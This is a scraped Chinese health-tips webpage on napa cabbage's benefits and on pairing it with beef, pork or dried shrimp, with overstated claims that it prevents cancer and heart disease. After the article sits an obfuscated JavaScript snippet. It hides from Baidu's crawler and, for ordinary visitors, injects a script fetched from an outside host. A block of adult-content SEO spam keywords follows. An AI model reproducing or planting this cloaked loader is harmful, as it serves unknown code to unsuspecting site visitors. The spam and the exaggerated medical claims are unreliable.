當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

白菜怎么搭配更營養?白菜加豬肉滋陰潤燥

2015-10-27 16:17:02  來源:360常識網   熱度:
導語:白菜含豐富的維生素C,蝦米含高蛋白、鈣和磷。二者同食,有解熱除燥、補腎壯陽、滋陰清肺、健脾開胃之效,常吃有預防便秘、痔瘡、動脈硬化、結腸腫瘤和某些心血管疾病的作用。

白菜含有活性成分吲哚-3-甲醇,實驗證明,這種物質能幫助體內分解與乳腺癌發生相關的雌激素,如果婦女每天吃500克左右的白菜,可使乳腺癌發生率減少。此外,其所含微量元素“鉬”可抑制體內對亞硝酸胺的吸收、合成和積累,故有一定抗癌作用。

白菜怎么搭配更營養?白菜加豬肉滋陰潤燥

白菜怎么搭配更營養?白菜加豬肉滋陰潤燥

吃白菜的好處

1、防癌抗癌

白菜含有活性成分吲哚-3-甲醇,實驗證明,這種物質能幫助體內分解與乳腺癌發生相關的雌激素,如果婦女每天吃500克左右的白菜,可使乳腺癌發生率減少。此外,其所含微量元素“鉬”可抑制體內對亞硝酸胺的吸收、合成和積累,故有一定抗癌作用。

2、預防心血管疾病

白菜中的有效成分能降低人體膽固醇水平,增加血管彈性,常食可預防動脈粥樣硬化和某些心血管疾病。

3、利腸通便,幫助消化

大白菜中含有大量的粗纖維,可促進腸壁蠕動,幫助消化,防止大便干燥,促進排便,稀釋腸道毒素,既能治療便秘,又有助于營養吸收。

4、消食健胃,補充營養

大白菜味美清爽,開胃健脾,含有蛋白質、脂肪、多種維生素及鈣、磷、鐵等礦物質,常食有助于增強機體免疫功能,對減肥健美也具有意義。人們發現1杯熟的大白茶幾乎能提供與1杯牛奶同樣多的鈣,可保證人體必須的營養成分。

白菜怎么搭配更營養?

1、白菜+牛肉:

葷素搭配,互為補充,營養全面,具有健脾開胃之效,特別適于體虛者食,對體弱乏力,肺熱咳嗽有輔助治療作用。同時牛肉有豐富的蛋白質和其他營養成分,可補脾胃、益精血;白菜粗纖維豐富,可促進腸胃蠕動,防止便秘。

2、白菜+豬肉:

豬肉性平味甘,其有滋陰潤燥之功能,白菜含有較多的維生素和鋅,可預防動脈硬化。白菜炒瘦豬肉,既增加動物蛋白,又增強皮膚彈性、柔性和光澤,是高血壓、冠心病、腦血管病、壞血病、慢性胃炎等患者宜常吃的菜肴,對防止皮膚干裂粗糙也有作用。白菜與肉類同食,既可增添肉的鮮美味,又可減少肉中的亞硝酸鹽和亞硝酸鹽類物質,減少致癌物質亞硝酸胺的產生。

3、白菜+蝦米:

白菜含豐富的維生素C,蝦米含高蛋白、鈣和磷。二者同食,有解熱除燥、補腎壯陽、滋陰清肺、健脾開胃之效,常吃有預防便秘、痔瘡、動脈硬化、結腸腫瘤和某些心血管疾病的作用,還可有效防止牙齦出血及壞血癥。特別適宜體弱乏力、肺熱咳嗽者經常食用。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
思思久久精品在热线热| 国产精品成熟老妇女| 狠狠精品久久久无码中文字幕| 精品久久久久久成人AV| 中文字幕久精品免费视频| 日本精品3d动漫一区二区| 亚洲精品视频观看| 国产精品色内内在线播放| 四虎影视永久在线精品| 欧美日韩精品SUV| 99精品视频在线免费观看| 国内精品久久久久久麻豆| 成人国产精品2021| 国产精品制服丝袜一区| 久久亚洲伊人中字综合精品| 国产福利电影一区二区三区,亚洲国模精品一区| 国产乱码精品一区二区三区中| 久久夜色精品国产嚕嚕亚洲av| 国产91精品黄网在线观看| 午夜精品在线免费观看| 国产精品久久久久久福利漫画| 久久精品国产精品亚洲艾草网| 国产精品免费视频观看拍拍 | 国产成人精品免费视频大全五级| 91久久精品国产免费一区| 国产在线精品一区二区三区直播| 国产大片91精品免费看3| 精品国产乱码久久久久久鸭王1| 91精品国产亚洲爽啪在线影院| 国产精品国产三级国产普通话| 中国精品一级毛片免费播放| 午夜一级日韩精品制服诱惑我们这边| 亚洲AV永久无码精品一福利| 精品国产乱码久久久久久1区2区| 日韩精品无码熟人妻视频| 久久99精品国产99久久6男男| 中文字幕精品无码久久久久久3D日动漫| 国产剧情AV麻豆香蕉精品| 国产精品自在线拍国产手青青机版 | 久久精品久噜噜噜久久| 2021成人国产精品|